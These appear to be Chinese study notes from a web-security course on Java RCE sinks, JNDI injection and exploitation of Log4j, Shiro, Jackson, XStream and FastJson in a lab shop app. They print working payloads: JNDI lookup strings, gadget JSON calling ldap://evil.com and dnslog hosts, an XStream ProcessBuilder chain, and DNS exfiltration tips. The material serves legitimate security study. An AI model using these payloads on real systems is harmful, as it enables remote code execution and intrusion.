小迪安全v2023学习笔记(六十七讲)—— Java安全JNDI注入五大不安全组件RCE不出网
文章目录
- 前记
- WEB攻防——第六十七天
- Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网
- Java安全 - RCE执行-五大类函数调用
- 原理
- 靶场演示
- Runtime
- ProcessBuilder
- ProcessImpl
- Groovy
- LoadJsExec
- Java安全 - JNDI注入-RMI&LDAP&版本
- 原理
- 靶场演示
- Java安全 - 不安全组件-JSON&XML&验证&日志
- Log4j
- 基本信息
- 靶场演示
- Shiro
- 基本信息
- 靶场演示
- Jackson
- 基本信息
- 靶场演示
- XStream
- 基本信息
- 靶场演示
- FastJson
- 基本信息
- 靶场演示
- Yakit使用
- 审计案例演示
- log4j
- Fastjson
- Java安全 - 不出网
前记
- 今天是小迪安全的第六十七天,本节课是Java安全的第二讲,主要内容围绕JNDI注入、Java中五大不安全组件展开
- 这节课的内容比较多,然后以实战为主,建议代码审计部分自己审完之后再看笔记,多尝试几种思路
- 所用到的源码资源已放至下方链接,有需要的自取:
- https://pan.baidu.com/s/1ZC1LKQKzQScRBtvPtZxh_Q
- 提取码:ming
WEB攻防——第六十七天
Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网
Java安全 - RCE执行-五大类函数调用
原理
- 造成RCE的原因:
- 使用命令执行的方法
- 传入方法的参数可控
- 在Java中,常见的命令执行类/方法有:
Runtime
ProcessBuilder
ProcessImpl
Groovy
LoadJsExec
- 在实战中,黑盒主要是看参数名和参数值来判断是否有RCE;大部分都是通过白盒审计出来的,主要看是否有上面的类/函数,并且参数可控
靶场演示
Runtime
- 这个是我们举例子见得最多的RCE类
- 利用
Runtime
主要是调用下面的代码造成漏洞:
String cmd;
Runtime.getRuntime.exec(cmd);
-
比如这里靶场中传入
calc
命令,就直接弹计算器了:
-
这个没什么好说的,然后他的防御方式是进行黑名单/白名单过滤,只能使用指定的命令
ProcessBuilder
- 这个类主要是用来创建并启动操作系统进程(即运行外部程序或命令)
- 它产生漏洞主要的代码如下:
String[] cmdList = {"cmd", "/c", "ping -n 1 " + ip};
ProcessBuilder pb = new ProcessBuilder(cmdList);
process = pb.start();
-
这里
cmdList
的意思是:- "cmd"调用Windows的
cmd.exe
- "/c"表示执行完后面的命令就立刻退出
- "ping -n 1"表示执行的命令
- "cmd"调用Windows的
-
然后创建了一个
pb
去执行,程序员会以为这个固定了写法很安全 -
但是我们可以通过管道符让他一次执行多个命令,造成RCE:
-
安全写法还是进行黑白名单过滤
ProcessImpl
ProcessImpl
是一个底层的接口,上面的两个类也是实现的这个接口- 由于这个是个接口,所以要实现RCE需要通过反射的方式间接调用,漏洞代码如下:
// 反射得到ProcessImpl类
Class<?> clazz = Class.forName("java.lang.ProcessImpl");// 获取其start方法
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); // 临时获取start方法的访问控制权限
method.setAccessible(true); // 传入参数,调用start方法
Process e = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
- 靶场中可以自己尝试执行命令
Groovy
-
这个是一种开源的、基于JVM的动态语言,语法与 Java 高度相似,但写起来像脚本一样简洁。它既可以像 Java 一样编译成字节码
.class
文件,也可以直接当成脚本解释执行。 -
它需要外部引入,但是直接运行在JVM之上:
-
这里产生漏洞的代码如下:
GroovyShell shell = new GroovyShell();
shell.evaluate(cmd);
- 它的执行语句是输入
"xxx".execute()
:
LoadJsExec
- 这个不是一个类,它的意思是通过加载远程的恶意JS代码,来造成RCE
- 但是这个东西在Java8之后移除了
ScriptEngineManager
的eval
方法 - 造成漏洞的代码如下:
public void jsEngine(String url) throws Exception {ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);String payload = String.format("load('%s')", url);engine.eval(payload, bindings);
}
- 比如我们有这样一个JS代码:
var a = mainOutput();
function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")
};
- 将他放到一个服务器上,然后加载这个文件:
Java安全 - JNDI注入-RMI&LDAP&版本
原理
- JNDI 全称为
Java Naming and DirectoryInterface
(Java 命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI 支持的服务主要有:DNS、LDAP、CORBA、RMI 等RMI
:远程方法调用注册表LDAP
:轻量级目录访问协议
- 这些其实在前面的Java安全开发中全部讲过,造成漏洞的原因主要是因为调用到了
InitialContext().lookup()
方法 - 在RMI服务中调用了改方法的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
- 在LDAP服务中调用了改方法的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
- 在实战中,黑盒基本检测不出来;最主要的是白盒审计出来的,通过上面的类方法和可控变量来判断是否存在该漏洞
靶场演示
- 这里的话原生的JNDI注入就是通过看有没有上述的类调用了
InitialContext().lookup()
方法 - 造成漏洞的代码如下:
public void vul(String content) {try {Context ctx = new InitialContext();ctx.lookup(content);} catch (Exception e) {log.warn("JNDI错误消息");}
}
-
比如这里我们通过之前的
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
工具去生成恶意的链接:
-
然后一个一个试,看哪个可以就用哪个:
-
这里就成功弹出了,需要注意的是,关于这个JNDI注入,一定要关注的就是JDK的版本:
-
当然也需要关注对方
SpringBoot
和Tomcat
的一个版本,才能针对性的使用这些payload
Java安全 - 不安全组件-JSON&XML&验证&日志
- 对于这些不安全的组件,测试思路如下:
- 黑盒中就看它哪里可能记录日志,然后到处乱插
payload
测试,或者知道它用的一个版本,就直接通过历史漏洞打 - 白盒审计中主要是看当前程序用的这个组件是否符合漏洞版本,然后利用历史漏洞打
- 黑盒中就看它哪里可能记录日志,然后到处乱插
Log4j
基本信息
- 介绍:Apache的一个开源项目,是一个基于Java的日志记录框架
- 历史漏洞: https://avd.aliyun.com/search?q=Log4j
- 流量特征:
${jndi:rmi://ip/xxx}
或${jndi:ldap://ip/xxx}
靶场演示
-
这里就直接源码审计一下吧,打开靶场的源码,然后搜一下有没有用到
log4j
,版本是否过时:
-
比如这里用到了2.8.2版本,然后在刚刚的网站或者百度搜索一下有没有这个版本的漏洞:
-
所以这里是有的啊,然后我们就直接执行刚刚生成的
payload
看看能不能执行:
Shiro
基本信息
- 介绍:Java安全框架,能够用于身份验证、授权、加密和会话管理
- 历史漏洞: https://avd.aliyun.com/search?q=Shiro
- 重大漏洞:
Shiro-550
Shiro-721
- 流量特征:
setCookie=rememberMe
靶场演示
- 这里造成漏洞的原因是因为Shiro中有一个
rememberMe
功能点,它使用的是硬编码密钥,因此可以利用默认的密钥进行反序列化造成RCE - 遇到这个的话就直接上工具了,前期也演示过,这里就不再演示了
Jackson
基本信息
- 介绍:当下流行的json解释器,负责处理
Json
的序列化与反序列化 - 历史漏洞: https://avd.aliyun.com/search?q=Jackson
- 流量特征:
{"@class": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://evil.com/Exploit","autoCommit": true
}
靶场演示
- 造成漏洞的原因是因为
Jackson-databind
支持Polymorphic Deserialization
特性(默认情况下不开启) - 当 json 字符串转换的
Target class
中有polymorph fields
,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如TemplatesImpl
,可以实现任意代码执行。 - 靶场当中写入上述
payload
,让其加载我们的恶意代码即可造成RCE
XStream
基本信息
- 介绍:开源Java类库,能将对象序列化成XML或XML反序列化为对象
- 历史漏洞: https://avd.aliyun.com/search?q=XStream
- 流量特征:XML 里嵌 Java 类名 + 动态标签
<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string></command></target><action>start</action></handler></dynamic-proxy>
</sorted-set>
靶场演示
- 造成漏洞的原因是其
1.4.16
及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub
构造RMI请求,进而执行任意命令。 - 这里就不进行演示了,原理和上面的一样
FastJson
基本信息
- 介绍:阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean
- 历史漏洞: https://avd.aliyun.com/search?q=fastjson
- 流量特征:JSON中出现
@type
字段,且值为Java全限定类名
靶场演示
- 漏洞产生的原因是因为
@type
字段的值会被FastJson加载实例化解析 - 这里也不再进行演示,
payload
长这个样子:
{"@type": "Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName": "rmi://jndi.fuzz.red:5/ahld/test","autoCommit": true
}
- 原理都是差不多的
Yakit使用
-
这里我们可以使用Yakit中的各种工具去玩
-
比如dnslog、反连服务器、利用链等等:
-
更多的功能后续会讲到…
审计案例演示
-
这里使用小迪给出的某猫商城进行演示,首先解压压缩包,然后在IDEA中打开,先使用右边的
Maven
进行clean
再install
:
-
然后修改数据库配置,打开
/src/main/resources/public
下的application.properties
和jdbc.properties
,修改账号密码为自己数据库信息 -
做完这些之后,就打开我们的
Navicat
,按照之前的操作导入数据库信息,这里用的数据库版本为MySQL5.7
-
导入完成之后就直接启动项目即可,访问
http://localhost:8088/tmall
:
-
好,环境搭建好了之后,我们就开始审计漏洞了
-
我们这部分主要是关于Java中五大不安全组件的内容,因此我们可以在
pom.xml
中直接搜索一下用了哪些组件、它的版本是否存在漏洞 -
比如这里就用了
log4j
、fastjson
这两个组件:
-
他们的版本分别是
2.10.0
和1.2.58
,这两个版本都是存在历史漏洞的 -
Log4j
存在CVE-2021-44228
的RCE漏洞,fastjson
也存在反序列化RCE漏洞 -
所以我们现在就只需要找到哪里触发了这两个东西即可,我们一个一个找
log4j
-
这里我们首先是全局搜索一下log4j看哪些地方导入了这个包:
-
这里倒没几个文件有,第一个是配置文件不用管,剩下的就两个
java
文件,一个一个查看发现他们都有这个语句:
protected Logger logger = LogManager.getLogger(BaseController.class);
Object o = session.getAttribute("xxxId");
logger.info("xxx",o);
-
但是因为这里是从
session
中获取数据,实际上参数并不可控,但是它给我们提示了程序日志的产生语句是logger.info(xxx)
-
于是我们去搜索一下还有什么地方是这种语法:
-
这里需要注意的是:IDEA不知道是什么特性,搜索的时候尽量多详细搜索几次。
-
比如这里,我直接搜
logger.info
并没有小迪演示的功能点,但是搜logger.info("获取
就出现了,所以搜索的时候尽量详细一点,可能会有意想不到的结果 -
那这里我们要找的是参数可控的,那其实很多地方都是可以尝试的,这里我们找到的是这个地方:
-
然后我们需要去找到网站中对应的路径,那这里就是
/admin/uploadAdminHeadImage
的位置,上传管理员头像 -
那很简单了,我们先后台登录进去,然后上传图像,把图像名字改成jndi注入的
payload
不就行了嘛 -
登录到后台
admin/123456
,找到我的账户:
-
点击管理员头像,随便上传一张图片然后抓包:
-
这个路径对应上了,转到
Repeater
模块,把filename
改成我们的payload
,比如这里在Yakit
中生成一个Dnslog域名:
-
所以
payload
就变成了${jndi:ldap://qcfxnhayxb.dgrh3.cn}
:
-
成功执行,这里也可以试试其他地方,我试了几个都没成功,你们可以下去自己玩玩
Fastjson
-
同样这里全局搜索一下
fastjson
看哪里导入了这个包:
-
也是有很多,这里产生漏洞的原因是因为解析JSON格式的数据,所以我们只需要找到解析的语句即可,一般都搜索这几个方法:
JSON.parse(
JSON.parseObject(
JSONObject.parse(
JSONObject.parseObject(
-
这里主要是第二个方法用得最多:
-
然后我们就依次看看哪些地方的参数是我们可控的,这里我看的是第二个,然后它的JSON解析代码是这样的:
JSONObject object = JSON.parseObject(propertyJson);
-
于是我们往前去找这个
propertyJson
是否可控,代码如下:
-
这里的请求路径是
admin/product
,然后是POST请求,功能是通过添加产品信息,那说明这个可能是可以控制的 -
现在直接到管理员页面找到功能点,这个是很好找的:
-
可以看到都是对应上的,并且可以抓包看看路径是否对应上:
-
说明就是这里,根据功能提示我们点击“添加一件产品”:
-
填上相关信息之后,点击保存,我们抓包看到
propertyJson
的值:
-
转到
Repeater
模块,先将这个东西URL解码格式化,结果如下:
propertyJson = {"1": "棉95.1%+聚氨酯弹性纤维(氨纶)4.9%","2": "宽松","3": "通勤","4": "常规","5": "长袖","6": "连帽","7": "拼色","8": "戚米","9": "18-24周岁","10": "2018年春季","11": "白色+红色+黄色"
}
- 那这个东西根据代码它会进行JSON解析为字符串,调用
JSON.parseObject()
方法,而这个方法是FastJson
提供的,所以我们直接将这个换成payload
:
propertyJson = {"1": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://lxnjgkgbfx.zaza.eu.org","autoCommit": true},"2": "宽松","3": "通勤","4": "常规","5": "长袖","6": "连帽","7": "拼色","8": "戚米","9": "18-24周岁","10": "2018年春季","11": "白色+红色+黄色"
}
dataSourceName
那里换成我们的dnslog地址,然后编码之后发包,很神奇的地方是这里它的地址是/admin/admin/product
,如果在Repeater
模块需要更改为/admin/product
才能够正常发包,否则提示404- 而直接抓包后发包它会一直显示”保存中…“,搞不懂
- 研究了半天不清楚什么情况,最后按照小迪的
payload
就可以了:
{"@type":"java.net.Inet4Address","val":"lxnjgkgbfx.zaza.eu.org"}
Java安全 - 不出网
- 一般都是没有回显判断通用方法:
- 直接将结果写在其本地静态资源文件中,如
html
、js
等,然后访问 - 虽然其不出网,但是DNS协议一般都是开通的,因此可以通过dnslog进行数据外带;如果连这个都关了,无法执行dns请求就没办法了
- 将命令执行的结果回显到请求Poc的HTTP响应当中
- 直接将结果写在其本地静态资源文件中,如
- 不回显常见判断细节方法参考文章:微信公众平台